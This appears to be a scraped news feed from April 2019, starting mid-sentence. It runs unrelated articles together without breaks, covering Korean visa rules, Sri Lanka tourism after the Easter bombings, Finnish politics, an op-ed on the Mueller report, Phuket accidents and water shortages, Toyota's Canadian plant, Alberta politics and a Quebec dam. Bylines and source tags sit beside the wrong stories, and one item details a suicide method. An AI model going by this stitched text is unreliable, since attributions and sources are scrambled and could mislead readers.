is what happened. Do note, however, that the new policy does not apply to all citizens. For the five-year multiple-entry visa, those eligible to apply by simply showing their proof of employment are civil servants, state enterprise employees and employees of airlines that frequently fly to and from South Korea. Additionally, those who have visited South Korea or other Organisation for Economic Co-operation and Development (OECD) countries, or applicants who earn more than US$8,000 per year, are also eligible and only required to submit a copy of their passport and proof of annual income, respectively. As for the 10-year multiple-entry visa, those eligible include doctors, lawyers, accountants, lecturers, notaries and other professionals, who need to submit proof of employment and a copy of certification based on their expertise. Bachelor graduates from universities in South Korea or master degree graduates from any foreign university are also eligible and need to show their educational certificate. Also welcome are directors of companies with at least $500,000 in capital; they will be asked for their work certificate. The embassy also announced that it would no longer accept visa applications. Starting May 2, Indonesians are required to submit their applications at the Korea Visa Application Center in the Lotte Shopping Avenue mall in Kuningan, South Jakarta. (dpk/kes) Share this article Whatsapp Facebook Twitter Linkedin (Agence France-Presse) Colombo, Sri Lanka Fri, April 26, 2019 14:01 971 db1d47cf6ffbed4060cffaa8734fca3e 2 News Sri-Lanka,travel,tourism,Visa Free Sri Lanka's government said Thursday it was suspending plans to grant citizens of 39 countries visa-free entry during the country's tourism low season after deadly Easter bombings that killed hundreds. "Although arrangements were in place to issue visas on arrival for citizens of 39 countries, we have now decided to hold it for the time being in consideration of the current security situation," Tourism Minister John Amaratunga said in a statement. "Investigations have revealed foreign links to the (Easter) attacks and we don't want this programme to be abused." Sri Lanka had announced last month a plan to allow visa-free entry to tourists from 39 countries, including EU members, Australia and the United States, during the low season, from May 1. The scheme did not include China and India, from where many of Sri Lanka's visitors come. Read also: Sri Lanka may need more IMF help as blasts threaten tourism The devastating Easter Sunday suicide bombings against churches and hotels killed 359 people, including dozens of foreigners. The blasts have rocked the country's burgeoning tourism industry, which is one of the most important foreign exchange earners for the island. Sri Lanka received 740,600 foreign tourists in the first three months of the year, up 4.6 percent from the same period a year earlier. It welcomed a record 2.33 million tourists in 2018, and was named the world's top travel destination for 2019 by the Lonely Planet guide book. (HedgeCo.Net) On April 18, 2019, the United States District Court for the Southern District of New York, ordered a former broker, Zachary S. Berkey, to pay $106,000 in disgorgement, plus prejudgment interest, and $71,000 in civil penalties. The SEC charged Berkey on December 6, 2017, alleging that, while a broker at Four Points Capital Partners LLC, Berkey conducted in-and-out trading that was almost certain to lose money for customers while yielding commissions for himself. According to the complaint, Berkeys customers incurred significant costs with every transaction and the securities were held briefly; thus, the price of the securities had to rise significantly for customers to realize even a minimal profit. The complaint also alleged that Berkey churned customer accounts and concealed material information from his customers, namely that the costs associated with their recommendations, including commissions and fees, would almost certainly exceed any potential gains on the trades. Niinisto stated yesterday in his speech at the opening ceremony of the new parliamentary session that it has been striking to hear also outside the context of the health and social services reform how particular decisions or sections of the government programme are described as our demands by some cabinet members and as their demands by others. Each political party in the government has its own goals, but when these goals have been reconciled, the government only has one working method: the collegial one. When you make a decision together, you will stand behind it together, he underlined in the Parliament House on Thursday. Finland, he reminded, has witnessed the creation of a new government as many as five times in the 2010s. I stress the importance of commitment. At the individual level, this applies to both the government members to be appointed and to you, Members of Parliament. The trust expressed by the voters is also trust in the complete fulfilment of the task, said Niinisto. Niinisto also called attention to certain features of the composition of the Finnish Parliament. Members of Parliament, he said, include more women and have a lower average age than ever before. This renewal shows that our democracy is alive and well. It is particularly significant that we saw the highest voter turnout in decades this spring, he stated. He also expressed his hope that the voter turnout remains high also in the upcoming elections to the European Parliament, particularly due to Finlands upcoming presidency of the Council of the European Union. Aleksi Teivainen HT Source: Uusi Suomi WASHINGTON President Trump has called the Mueller investigation a witch hunt nearly two hundred times on social media alone. Well, the special counsel concluded he was not a witch. After carefully scrutinizing any links between the Russian government and the Trump campaign, Robert Mueller definitively declared the investigation did not establish that the Trump Campaign conspired or coordinated with the Russian government in its election interference activities. He didnt do it. Still, several leading Democrats have called for Trumps impeachment on obstruction-of-justice charges. This is absurd. The lesson of Watergate, we are told, is that the coverup is always worse than the crime. But in Watergate, there was a crime to cover up. We now know that Trump committed no crime. There was nothing to cover up. As Mueller put it, unlike cases in which a subject engages in obstruction of justice to cover up a crime, the evidence we obtained did not establish that the President was involved in an underlying crime related to Russian election interference. This lack of an underlying crime is the source of Trumps justified outrage over the Mueller investigation. Imagine that you were accused of a crime you knew you did not commit, and a special counsel was appointed who spent nearly two years and more than $25 million investigating you. Youd be angry and frustrated. Youd want someone to stand up for you, defend your interests and stop the insanity. For two years, Trump watched as the investigation dragged on, weighing down his presidency. He had to endure being accused of treason and crimes of a size and scope probably beyond Watergate. He listened as members of the House and Senate intelligence committees, and former intelligence officials, led Americans to believe that they had seen secret evidence showing he had colluded with Russia evidence he knew did not exist. Of course, he wanted the investigation to end. But he didnt end it. He didnt obstruct justice because nothing was obstructed. Mueller was allowed to finish his work. The White House cooperated, sharing millions of pages of documents and giving Mueller access to dozens of senior officials. The fact that Trump railed against Mueller to aides and told White House counsel Donald McGahn to fire Mueller (which McGahn did not do and Trump did not press the matter) is not evidence of obstruction; it is evidence of exasperation. The president has a right to vent in private to his staff. Remember, the only reason Mueller knew about his private exchanges with McGahn is because Trump put no restrictions on McGahns cooperation. The president could have asserted privilege, but declined to do so. He let McGahn spend some 30 hours with Mueller, sharing details, according to The New York Times, that investigators would not have learned of otherwise. This is evidence of Trumps cooperation, not obstruction. As a result of this cooperation, the special counsels report contains some embarrassing moments for the president. But it also proves that Trump was telling the truth when it came to the central question of the investigation: He did not conspire with Russia. If Democrats want to purse impeachment nonetheless, then to quote Ronald Reagan quoting Clint Eastwood: Go ahead, make my day. Impeachment over anything other than a conspiracy with Russia will backfire with the American people and help ensure Trumps reelection. First, it will fail, because two-thirds of the Senate will not vote to convict the president. Second, Trumps supporters will see an impeachment effort as an attempted coup detat, energizing his base ahead of the 2020 election. And third, it will be seen as partisan and unfair by persuadable voters, who will not appreciate politicians second-guessing the conclusions of an impartial investigation. Want to push Trumps approval above 50 percent? Try to impeach him. While Democrats debate pursuing impeachment, they are also abusing their powers to get Trumps tax returns in the hope they will provide what the Mueller investigation did not: evidence of something incriminating. Does anyone really believe that the House Ways and Means Committee wants Trumps returns to assess how the IRS audits and enforces the Federal tax laws against a president? Please. There is no legitimate legislative purpose for this request. Both the Democrats attempt to misuse a 1920s law to violate Trumps privacy and their partisan response to the Mueller report make clear that they are seeking any pretext to oust Trump. But the only thing they will succeed in doing is eliciting sympathy for an otherwise unsympathetic president. Marc Thiessen is a fellow at the American Enterprise Institute and the former chief speechwriter for President George W. Bush. The Social Democrats hasnt drawn up any plans regarding an aviation tax in Finland, he affirmed on Thursday. If an aviation tax is someday adopted, itll hopefully be a global one or, at least, a European one. ANTTI RINNE , the chairperson of the Social Democratic Party, has firmly denied claims that the party has sketched out a plan to introduce an aviation tax in Finland. Miapetra Kumpula-Natri (SDP), a Member of the European Parliament, said in Jyvaskyla on Wednesday the Social Democrats has tossed around the idea of proposing that a six-euro tax be levied on domestic flights. The number could be something like six euros in domestic travel, she estimated during a climate-related debate between candidates in the elections to the European Parliament. It doesnt cover everything, but itd be a harmless number. This is the kind of number weve tentatively worked with heading into the coalition formation talks. Rinne on Thursday reminded that the party has laid out its position on the issue in its programmes. There are a number of different opinions on the issue in the party, but our programmes tell whats the partys position. The Social Democrats hasnt drawn up any plans regarding an aviation tax in Finland, he reiterated. The idea of an aviation tax was supported in Jyvaskyla on Wednesday also by Silja Keranen (Greens) and Janne Parkkila (Left Alliance). Parkkila reminded that airlines have already begun work on a common emissions trading mechanism for the industry. According to Eurostat, half of European air travel comes from flights within a single country. Its nonsensical to fly back and forth inside one country. Well, the HelsinkiOulu route is something you could think about, he said. Olli Kotro (PS), in turn, argued that air traffic accounts for only a small share of greenhouse gas emissions in the European Union. My understanding is that air traffic makes up three to five per cent of emissions in the whole EU. This is why air traffic is a sensitive topic when you start talking about emissions. If you take drastic action in terms of air traffic, you could undermine the business of Finnair, for example, he cautioned. Aleksi Teivainen HT Source: Uusi Suomi Chinese tourist injured as Phuket taxi wipes out en route from airport to Patong PHUKET: One Chinese tourist was injured when the taxi he was travelling struck a roadside power pole then spun into a passing garbage truck on Thepkrasattri Rd in Koh Kaew early this morning early this morning (Apr 26). Friday 26 April 2019, 04:20PM The garbage truck was reportedly following very closely behind the taxi when the accident happened. Photo: Eakkapop Thongtub The taxi was taking two Chinese tourists from the airport to Patong when it struck the power pole. Photo: Eakkapop Thongtub The taxi was taking two Chinese tourists from the airport to Patong when it struck the power pole. Photo: Eakkapop Thongtub The taxi was taking two Chinese tourists from the airport to Patong when it struck the power pole. Photo: Eakkapop Thongtub The taxi was taking two Chinese tourists from the airport to Patong when it struck the power pole. Photo: Eakkapop Thongtub The taxi was taking two Chinese tourists from the airport to Patong when it struck the power pole. Photo: Eakkapop Thongtub The taxi driver, Prasong Pinatha, 35, was disoriented from his head hitting the windscreen in the impact, but was otherwise not hurt, said police. Photo: Eakkapop Thongtub Chinese tourist Peng Quan, 29, from Hunan, was bleeding heavily from the head when he was recovered from the taxi wreck. Photo: Eakkapop Thongtub The taxi was taking two Chinese tourists from the airport to Patong when it struck the power pole. Photo: Eakkapop Thongtub Thalang Police were called to the scene, on the curve south of the Heroines Monument about 50 metres from the Jeeteng mansion (more commonly pronounced as Yee Teng), at 4:30am. Police and Srisoonthorn Municipality rescue workers arrived to find a white Toyota Altis taxi with green licence plates that had sustained heavy damage in the accident. Among the debris was the front left wheel and front door, both of which had been ripped off from the car entirely by the force of the impact. The back bumper of the car had also been torn from the body of the car. One of the two Chinese tourists travelling in the taxi was injured, reported Thalang Police Deputy Chief Lt Col Phichai Phupommin. The tourist, Peng Quan, 29, from Hunan, was bleeding heavily from the head. He was taken to Thalang Hospital for treatment. The taxi driver, Prasong Pinatha, 35, was disoriented from his head hitting the windscreen in the impact, but was otherwise not hurt, he noted. About 80 meters away from taxi wreck was a private company garbage truck that had suffered minor damage to its side. Col Phichai noted that following their initial investigations police believe that the taxi driver, Mr Prasong, likely fell asleep at the wheel. He had picked up the Chinese tourists at Phuket International Airport and was taking them to a hotel in Patong when the accident happened. The taxi struck the roadside power pole, then spun and struck the side of the garbage truck, which was following very closely behind, he said. The remains of the taxi was lifted onto a truck by crane and taken to Thalang Police Station as evidence. Mr Prasong and the garbage truck driver, Banphod Paicomenam, 36, were both taken to Thalang Police Station for further questioning. No charges for either drivers were mentioned in the report. However, police have confirmed that the taxi that Mr Prasong was driving is registered to his father, Pramoon Pinatha, as shown on the door that was ripped off from the vehicle in the imapct. The accident came les than 48 hours after Phuket Governor Phakaphong Tavipatana welcomed the Chinese Consul General in Songkhla, Ma Fengchun, at Phuket Provincial Hall to discuss the safety and promotion of Chinese tourism on the island. (See story here.) Govts sign Thai-Lao rail deal BANGKOK: Thailand, China, and Laos have signed a Memorandum of Cooperation (MoC) on the development of a rail line between Nong Khai and Vientiane in Laos, which forms part of Chinas much-touted Belt and Road Initiative. transporteconomicsChinese By Bangkok Post Friday 26 April 2019, 08:49AM From left Transport Minister Arkhom Termpittayapaisith, Hu Zucai, Chinas Deputy Director of the National Development and Reform Commission (NDRC), and Laos Minister of Public Works and Transport, Bounchanh Sinthavong. Photo: Supplied The signing ceremony, which took place in the Chinese capital Beijing, was attended by Transport Minister Arkhom Termpittayapaisith, Laos' Minister of Public Works and Transport, Bounchanh Sinthavong, and China's Deputy Director of the National Development and Reform Commission (NDRC), Hu Zucai. The ceremony was held at the second Belt and Road Forum for International Cooperation (BRF), which began on Thursday in Beijing and is scheduled to run until tomorrow. Under the MoC, a rail bridge between Nong Khai and Vientiane will be built close to the first Thai-Lao Friendship Bridge. The rail tracks between the two sites will be 1.44-metre wide standard gauge. Meanwhile, another one-metre gauge standard rail track will be laid on the Thai side and connected with dual track rail routes at Na Tha station in Nong Khais Muang district. China will offer technical assistance in the construction. The route will form part of a rail network connecting the region with China in the near future. Mr Arkhom said Thailand and Laos will each be responsible for half of the construction cost of the bridge, which is likely to be completed by the time the Sino-Thai high-speed railway projects second phase from Nakhon Ratchasima to Nong Khai finishes in 2023. The high-speed rail scheme between Nakhon Ratchasima to Nong Khai, which stretches 355 kilometres, will be dealt with by Thailand in terms of construction design, he said, adding that China will offer technical assistance during construction. The Environmental Impact Assessment (EIA) of the projects second phase was approved by the National Environment Board earlier this week, the minister said. The design of the second phase is likely to take six or eight months while the bidding and construction phase is likely to begin around the middle of next year. Construction of the entire project is slated to be completed in 2023. Chaiwat Thongkamkoon, permanent secretary for transport, said B751 million has been budgeted for the design of the second phase. The State Railway of Thailand is likely to proceed with the bidding for the project design within two months, he said. According to Mr Arkhom, the projects first phase which runs from Bangkok to Nakhon Ratchasima is likely to open in 2022. Meanwhile, Prime Minister Prayut Chan-o-cha is due to lead several cabinet ministers in attendance at the BRF today (Friday, Apr 26). Gen Prayut is scheduled to give a speech on connectivity and economic cooperation between Asean and China's Belt and Road scheme. Read original story here. Luxury mansion amid Phuket protected forest to be removed PHUKET: A luxury mansion being built in the hills above the Bang Wad reservoir in Kathu will be ordered to be removed for violating the ban on all construction more than 80 metres above sea level, The Phuket News has confirmed constructioncrimelandproperty By Waranya Prompinpiras Friday 26 April 2019, 12:08PM The luxury house compound is on private land overlooking the Bang Wad reservoir, says the Phuket Land Office, but surrounded by protected national forest. Photo: Supplied The luxury house compound is on private land overlooking the Bang Wad reservoir, says the Phuket Land Office, but surrounded by protected national forest. Photo: Supplied Kathu Municipality officials also confirmed to The Phuket News that the luxury mansion is being built illegally as their office have not issued a building permit for the project. Kathu Municipality officials began their investigation into the construction of the house after it was brought to their attention by local residents on Wednesday (Apr 24). The owner of the house has not applied for a building permit, confirmed Tassanee Saetong, Chief Administrative Officer (Palad) at Kathu Municipality. But even if they did, we certainly would not have approved it, she told The Phuket News yesterday. The construction breaches the Building Control Act, under which construction must not be more than 80 meters above sea level. This house is 130 meters above sea level, Ms Tassanee explained. It is illegal, she said. Next we will proceed according to the regulations of the Building Control Act. All construction will be suspended and all structures already built will be ordered to be removed, Ms Tassanee confirmed. We will issue the notice to the house owner in accordance with the regulations of Building Control Act, she said. Mrs Tassanee declined to confirm when the notice will be issued. Right now we are compiling all the information needed to issue the order. Also, I want extra information for this case, she said. LAND CLAIMS Amnuay Pinsuwan of the Phuket Provincial Land Office explained that although the house is in the middle of a protected national forest, it is on legally owned land. The house and other buildings under construction in the compound are located on a single plot of 10 rai that is currently owned by three women, Mr Amnuay told The Phuket News. The three women Supatra Jaruariyanon, Natchaya Gohsaiyawat and Jiranon Thamchu bought the land from Mano Kiewkram on Feb 9, 2016, he said in a statement issued yesterday (Apr 25). The statement was issued specifically to clarify facts currently being disputed on Thai social media websites. Explaining the history of the land, Mr Amnuay noted that the Governor at the time on Dec 15, 2011 approved for a Chanote to be issued for the land in Mr Manos name. The Land Office on Feb 24, 2012 ruled no disagreement for issuing the Chanote, and issued the actual Chanote land title document on Mar 9, 2012. A copy of the Chanote has been presented to The Phuket News. Mr Amnuay also explained that the Chanote issued to Mr Mano was issued on the basis of a SorKor 1 land document issued to a Mr Chuan Janerop. The SorKor 1 proved possession of the land before the area was declared a national protected forest area, Mr Amnuay explained. However, how or why the land was issued a Chanote to Mr Mano on the basis of a SorKor 1 issued to Mr Chuan was not explained. WOOD FOR TREES Paisarn Noopichai, Director of the Phuket office of the Royal Forest Department, told The Phuket News that he is investigating whether the land claimed encroaches on the protected national forest. I have spoken with Kathu Municipality officials and confirmed that the house was built without a building permit. Now we are checking more detailed information with the Phuket Land Office, Mr Paisarn said. We are checking whether the land is legally owned and whether any structures on the land encroach on the national forest reserve. We are also checking whether the boundaries for the land claimed have been extended beyond those marked on the land documents, he said. The area where the house is being built is a protected national forest, Mr Paisarn confirmed. But if the house being built is on land that was owned before the area was declared a protected forest, that will be permitted by law but the construction must be in accordance with the Building Control Act, he said. Man found dead, presumed suicide over mounting debts PHUKET: Police have ruled the death of a man whose body was found in his pickup truck outside his home in Rassada this morning (Apr 26) as suicide. deathsuicidepolice By Eakkapop Thongtub Friday 26 April 2019, 05:08PM Police found in the footwell of the front passenger seat a small charcoal cooker that had recently been burning. Photo: Eakkapop Thongtub Police were called to the scene, in Soi Muen Si, in Moo 3, Rassada, at 8am, after a Phuket City Police officer on patrol found the body in a black Mitsubishi pickup truck parked beside the road. Lt Anuwat Raksayot of the Phuket City Police and fellow officers and rescue workers from the Kusoldharm Foundation arrived to find the body of 28-year-old Phuket native Weerawat Phakdeewirot in the drivers seat, which had been fully reclined. The pickup truck was parked beside the wall outside Mr Weerawats house. The engine was still running, confirmed Lt Anuwat. In the footwell of the front passenger seat was a small charcoal cooker that had recently been burning, he said. On the front passenger seat police found a letter that read, I am sorry. I thank you for everything. I am not a good person. I have made a lot of debt that made trouble for you. If you are in trouble, let my father help you. Father, please take care of my debts for me. Thank you. Mr Weerawats female partner soon arrived at the scene, distraught to learn of his death. Mr Weerawat is presumed to have died of asphyxiation from fumes from the charcoal cooker, Lt Anuwat said. We believe that he has deep financial troubles, which led him to the decision to end his own life, he said. If you know of someone in need of help... There is a "One Stop Crisis Centre" at each government hospital on the island that can help people cope with emotional distress, or Thai speakers can call the 1300 help hotline. Man holds box cutter to own throat at Phuket bank, taken safely into custody PHUKET: Police this afternoon (Apr 26) safely took into custody a man who had entered a bank near the Heroines Monument while holding a box cutter to his own neck, threatening to harm himself. healthpoliceSafety By Eakkapop Thongtub Friday 26 April 2019, 06:43PM Police speak with the man in the bank this afternoon (Apr 26). Photo: Eakkapop Thongtub Police wait outside as officers speak with the man in the bank this afternoon (Apr 26). Photo: Eakkapop Thongtub The man entered the bank while holding a box cutter to his throat. Photo: Eakkapop Thongtub The man entered the bank while holding a box cutter to his throat. Photo: Eakkapop Thongtub Police were called to the Tha Reua branch of the Siam Commercial Bank at about 3pm. Police were told that a man had entered the bank. The man was rambling in speech and holding a box cutter to his own throat, as if intentioning to slash himself. Bank staff evacuated the branch until the police arrived. Officers spoke with the man until his wife, mother and other family members arrived to talk also speak with him, Thalang Police Deputy Chief Lt Col Wiwat Chamnarnkit told The Phuket News. After speaking with his family, the man, Mr Surasak, who is 40 years old, agreed to put the knife down and accompany officers, he added. He did not harm any other people. He was very stressed, he said. Col Wiwat explained, Mr Surasak went to the 7-Eleven nearby with his family, but had walked out of the store very distressed. His wife was looking for him, but couldnt find him. Thats when we received the call, he added. Col Wiwat declined to elaborate on why Mr Surasak was in such a state of emotional distress, saying only that he was very agitated and nervous. We have already allowed Mr Sursak to return home, but officers from the Phuket Provincial Police followed him home. He has a previously history of involvement with drugs in Phuket, Col Wiwat said. Thalang Police have yet to decide whether to press charges for the incident, Col Wiwat confirmed. Officers are still conducting their investigation. At this stage he might face a charge of trespass, he added. No free emergency water for Kamala condos, hotels PHUKET: Kamala officials have confirmed that the free emergency water to be supplied to local residents does not apply to condo developments or hotels in the area. weathernatural-resources By The Phuket News Friday 26 April 2019, 02:08PM Kamala OrBorTor promotes its free emergency water delivery yesterday (Apr 25). Photo: Kamala OrBorTor The Kamala Tambon Administration Organisation (OrBorTor) announced yesterday that it will start providing free emergency water to residents from today (Apr 26). Free water will be delivered to different neighbourhoods and villagers (moo baan) on alternating days, with each household in need to receive no more than 400 litres per delivery. In order to have the water delivered, house owners must register first, the Kamala OrBorTor explained. (See story here) However, one local long-term expat resident in Kamala explained to The Phuket News this morning that the Kamala OrBorTor had refused to supply free emergency water to the condominium project where he lives. A representative from the company that is the legally registered estate manager for the condo project had contacted Kamala OrBorTor as the projected is located in Moo 6, the foreigner explained. The estate manager wanted to register to have the free emergency water delivered, he said. The OrBorTor rejected to register us for free emergency water and said this offer is for Thai local residents only. All others do not get emergency water, he added. Kamala OrBorTor Deputy Chief Nopporn Karuna confirmed the policy to The Phuket News this morning (Apr 26). Foreigners can get free emergency water if they have their own house and are registered on the house registration document (tabien baan), Mr Nopporn explained. I have already overseen water being delivered to foreigners with their own houses in Kamala, he said. But if they rent a house, they must ask the house owner to register to have the water delivered for them, Mr Nopporn added. However, Mr Nopporn made it clear: The Kamala OrBorTor will provide (free emergency) water to local residents in houses first. For condos and hotels, the property owners (or managers) must organise their own water by themselves. Mr Nopporn said that the policy is the result of Kamala OrBorTor having to buy water and then in turn provide it for free to residents who are left without running water due to the water-supply restrictions now in force across the island. The Kamala OrBorTor does not have its own water ponds we must buy it ourselves from other sources. It costs us B500 for 6,000 litres, he said. FREE BY FORCE Local authorities were ordered to provide free emergency water to residents in their areas by Phuket Governor Phakaphong Tavipatana on Tuesday (Apr 23). However, Governor Phakaphong also ordered local authorities to fund the provision of emergency water themselves as he has not yet declared Phuket as experiencing a drought crisis, as he said that doing so was not yet necessary. He also made it plain: Only the Phuket Governor can declare whether or not we are in a crisis situation. However, declaring a drought crisis would allow the Phuket Provincial Office, which is headed by the Governor, to access a disaster relief fund to use in order to provide assistance to people affected by the current water-shortage situation. (See story here.) THE FALLOUT Despite the Governors understanding of the situation, the Royal Thai Army started rolling in water trucks to deliver emergency water supplies to hard-hit communities in Phuket on Wednesday. (See story here.) Among the first to receive water relief were residents in Rassada, where thousands of people living in poor communities have been left without running water due to the water restrictions described by officials as reductions in mains water pressure. The lack of water sparked a protest on Tuesday by residents of the Ua Arthorn estate in Rassada, angered by the lack of action to resolve the ongoing water situation. (See story here.) The estate was, which has more than 700 units in 16 tower blocks, is home to some 1500 people. It was built by the National Housing Authority specifically for low-income earners. The Phuket Waterworks Authority on Tuesday confirmed that the move to reduce mains water pressure has been now ramped up in the hope of making what little water remains in the islands three main reservoirs already at historic low levels last as long as possible, hopefully until the annual wet season rains return next month. As of last Thursday (Apr 18), the best estimate by Somsawat Chaisinsorn, Director of Phuket Provincial Irrigation Office, was that Phuket had enough water to last 39 more days. That estimate came under doubt as only six days earlier Mr Somsawat said that Phuket had enough water to last 33 more days. (See story here.) PERCEPTIONS Regardless, Governor Phakaphong said on Tuesday: Phuket officials place high importance on continually taking care of our brothers and sisters in the community. Phuket Province is united with local administrative officials in hurrying to help people who have no water as soon as possible. (See story here.) Governor Phakaphong also expressed his concern for the image of the ongoing water shortages being presented in the media. Saying that Phuket is suffering a drought is not accurate information to people. It is a misunderstanding, he said. If media presents information that is beyond the facts, then that can lead to our tourism image being affected. It does not look good, so we are willing to explain and extend the information available, he added. We are able to manage the water so there is enough for the people, Governor Phakaphong assured. (See story here.) City council grants Need-a-Ride taxi license during special meeting After receiving a letter from the Institute of Justice stating ordinance was unconstitutional, the council approved the taxi license for Need-A-Ride. Toyota Motor Corp. plans to begin building two more Lexus SUVs in Canada, according to people familiar with the matter, a major win for the Ontarios otherwise-struggling auto sector. The Japanese automaker will produce the Lexus NX crossover and three-row version of its luxury brands top-selling RX sport utility vehicle in Cambridge, Ontario, starting in 2022, according to one of the people. They asked not to be identified ahead of an official announcement the company has said its making at the plant on April 29 that will further reaffirm its commitment to manufacturing in Canada. A Toyota Canada spokesman declined to comment. Toyota is delivering a much-needed boost to Ontario after the blows General Motors Co. and Fiat Chrysler Automobiles NV have dealt to plants in the country since late last year. GM has said it has no future product planned beyond this year for its Chevrolet Impala and Cadillac XTS sedan factory in Oshawa that employed almost 3,000. Fiat Chrysler has said it plans to cut a production shift and about 1,500 workers at its minivan plant in Windsor this fall. Passenger-vehicle production in Canada is projected to drop by 20 per cent this year as GM winds down operations in Oshawa, Fitch Solutions Macro Research said in December. Production in Oshawa fell to about 148,000 vehicles in 2017 from a peak of 940,000 in 2003, a drop of about 85 per cent, according to Dennis DesRosiers of DesRosiers Automotive Consultants Inc. A year ago, Toyota announced it would invest $1.4 billion (Canadian) ($1.1 billion U.S.) to build gasoline and hybrid versions of the RAV4 crossover at its plant in Cambridge, about 100 kilometres (62 miles) west of Toronto. Its pivoted from that plan somewhat, deciding to instead build the gas-electric RAV4s in Georgetown, Kentucky. That shift is opening up room in Cambridge for Toyota to build SUVs that, to this point, have only been built in Japan, the people familiar with the companys plans said. The Ontario factory was built in 1988 and employs more than 8,000, according to the companys website. President Donald Trump last month linked Toyotas announcement of the RAV4-related investment in Georgetown, along with spending on several other U.S. plants, to the U.S.-Mexico-Canada Agreement, or USMCA, the still unratified deal intended to replace Nafta. Jim Lentz, the chief executive officer of Toyota North America, said the decision to further amp up U.S. investment plans last month reflected Toyotas credo to build cars where theyre sold, as well as increasing U.S. demand for its vehicles. But he also said a new North American trade deal and tariff threats also contributed to the moves. Id be disingenuous if I said we didnt have an eye on trade, he said. The RAV4 ascended to the top of Toyotas U.S. sales chart in 2017. The crossover extended its edge over the companys No. 2 model, the Camry sedan, last year to almost 84,000 units. The RX is the longtime leading model in Lexuss lineup, and the NX became the brands second-best seller in the U.S. in 2017. Read more about: CALGARYAlberta premier-designate Jason Kenney vowed in his election victory speech, Today, we begin to fight back. And as the United Conservatives prepare to take power, there are already specific targets. The latest in the crosshairs? The bank HSBC. On election night, Kenney said that when companies like HSBC boycott Alberta, well boycott them back. In a Wednesday tweet, Kenney went after HSBC again, sharing a Bloomberg article quoting CEO John Flint at a conference in Saudi Arabia, where Flint says hes excited about HSBCs role in the countrys financial sector. Kenney took issue with HSBC expressing support for industry in Saudi Arabia a country with an exceptionally poor human rights record since the companys energy policy, updated last year, rules out financing for energy projects that could be in Canada. The policy states that to support the transition to a low-carbon economy, HSBC will not provide financial services for coal-fired power plants, Arctic drilling or new greenfield oilsands projects. That includes pipelines the bank said it will not give new financing where the majority of the lending will be used for new pipelines dedicated to the oilsands sector. (The policy adds that any future technological developments which improve environmental performance will be considered in future updates.) But Kenney said the stance amounts to HSBC boycotting Albertas oilsands. Read more: Opinion | Graham Thomson: After Tuesdays win, Kenneys next campaign to target perceived enemies of Alberta A United Conservative government would set up an energy industry war room and go after foreign interests Battle of the war rooms: Climate change activists fundraise for their own group to combat Jason Kenneys The next Alberta government will not tolerate this kind of hypocrisy, he wrote. Its unclear what, exactly, Kenney can do about a U.K.-based multinational companys energy policy. He said during the election campaign that he would be willing to block the company from investing in Alberta. The mechanics of how he would do that are unclear, since banking falls under federal jurisdiction in Canada. But setting up an energy war room to address perceived misinformation about Alberta oil and gas is a promise the UCP floated before the election even began. And after winning a decisive victory in this years provincial election, Kenney so far hasnt changed his tone about getting combative with anyone who might hold back Albertas energy sector. Mount Royal University policy studies professor Lori Williams said its valid for Kenney to point out problems with policy that potentially hurts Alberta. But she said the future war room needs to be carefully approached and managed. This is very risky. By all means, fight to advance people interests, to advocate and provide information about Alberta, but youve got to be nuanced. Youve got to be strategic. Its about getting information to people who might actually change their minds, she said. The war room Kenney envisions could have a role in something like raising awareness about steps Alberta energy projects have taken to be more environmentally sustainable, Williams said. But she added that it will need to offer people something apart from an outlet to vent anger, especially as the province moves beyond the election campaign. If its managed effectively, if theyre smart about it ... I think its possible to change peoples minds, to actually get the information to the people that are persuadable, she said. If this is managed badly, it could cause irreversible damage, like eroding support for pipeline projects Alberta needs to get its products to wider markets. Williams said she has heard from many Albertans who are looking for someone to stand up for the province more assertively, and the economic anxiety driving that need shouldnt be dismissed. But she isnt convinced that threats against people or groups will actually achieve that. This is about providing information that changes enough minds in enough places and enough boardrooms and enough electorate that it makes a difference. Read more about: EDMONTONMembers of the Filipino community in Alberta are wrinkling their noses over the international spat caused by dozens of containers of Canadian garbage sitting in a port in the Philippines but say it shouldnt distract from the damage dumped trash can cause in the small island nation. On Tuesday, Filipino media outlets reported that President Rodrigo Duterte warned if Canada doesnt take back the containers filled with Canadian household and electronic garbage that has been rotting in a port near Manila within the next week, he will declare war and ship the containers back himself. The 103 containers of garbage arrived six years ago, in 2013. About two dozen containers were disposed of in 2015 in the Philippines. The rest have been sitting there ever since. Marco Luciano, director of Migrante Alberta in Edmonton, an advocacy organization for Filipino migrant workers, says although Dutertes war threat is seen as embarrassingly funny by residents here, it should not distract from the fact that household waste like plastic bottles, newspapers and used diapers is rotting in the port. The way its handled, the way its dealt with at the moment, there are some violations and they should prosecute the violators as opposed to making some ridiculous comments, he said. Its dangerous for communities. Read more: How did 103 containers of Canadas rotting garbage end up in the Philippines? Filipino President Duterte gives Canada one week to take trash back Canadian garbage rotting in Manila violates international law, experts say According to experts, the shipments violate multiple parts of an international law called the Basel Convention a 30-year-old treaty that prevents countries from shipping hazardous waste to the developing world without consent. The containers were dumped by a private Canadian company in 2013 and 2014. Since then, Canada has been trying to convince the Philippines to dispose of the garbage there, but a Filipino court ordered the trash should be returned to Canada in 2016. Don Ibarra De Gracia, a resident of Calgary who moved to Canada from Philippines in 2010, says the local community does not believe Dutertes threat. He is playing the card of a hero. He has done this before and he is doing it again, De Gracia said. Read more about: MONTREALQuebec public security officials called for the immediate evacuation of an area along the Rouge River west of Montreal on Thursday because of the risk a hydro dam could fail. Simon Racicot, director of production and maintenance with Hydro-Quebec, told reporters the dam at Chute Bell was built to withstand what he called a millennial flood. That means a flood that happens every 1,000 years, he said. Hydro workers discovered earlier in the day the millennial level of water had been reached. We are confident that the structure is solid, Racicot said. But the protocols force us to warn people of the danger. We are entering into an unknown zone right now completely unknown. The largely rural section of river affected is in Quebecs Lower Laurentians region, about 140 kilometres west of Montreal, stretching about 18 kilometres south to the Ottawa River. Public Security Minister Genevieve Guilbault told reporters Thursday evening the provinces hydro utility is confident the dam can hold back its current water reservoir and is structurally sound. Read more: To stay or to go? Flood-weary Quebecers ponder leaving their homes Water levels continue to rise in two lakes in Bracebridge area, says mayor As waters rise, infrastructure minister offers fast-track reviews for flood projects But we are expecting more rain over the coming hours and days, so the water levels of the Rouge River can rise, she said in Montreal. Guilbault said there are 23 residences and 38 cottages in the evacuation zone along the river. Quebec provincial police tweeted they were helping about 250 people get clear of the affected area as a preventive measure. Provincial police spokesman Daniel Thibaudeau said 40 people had been removed to safety as of 7:30 p.m. Thursday, and the remainder would be taken out during the course of the evening. Several dozen officers were taking part in the operation with the aid of all-terrain vehicles and helicopters. About a dozen people living in areas not easily reached by land were airlifted out. 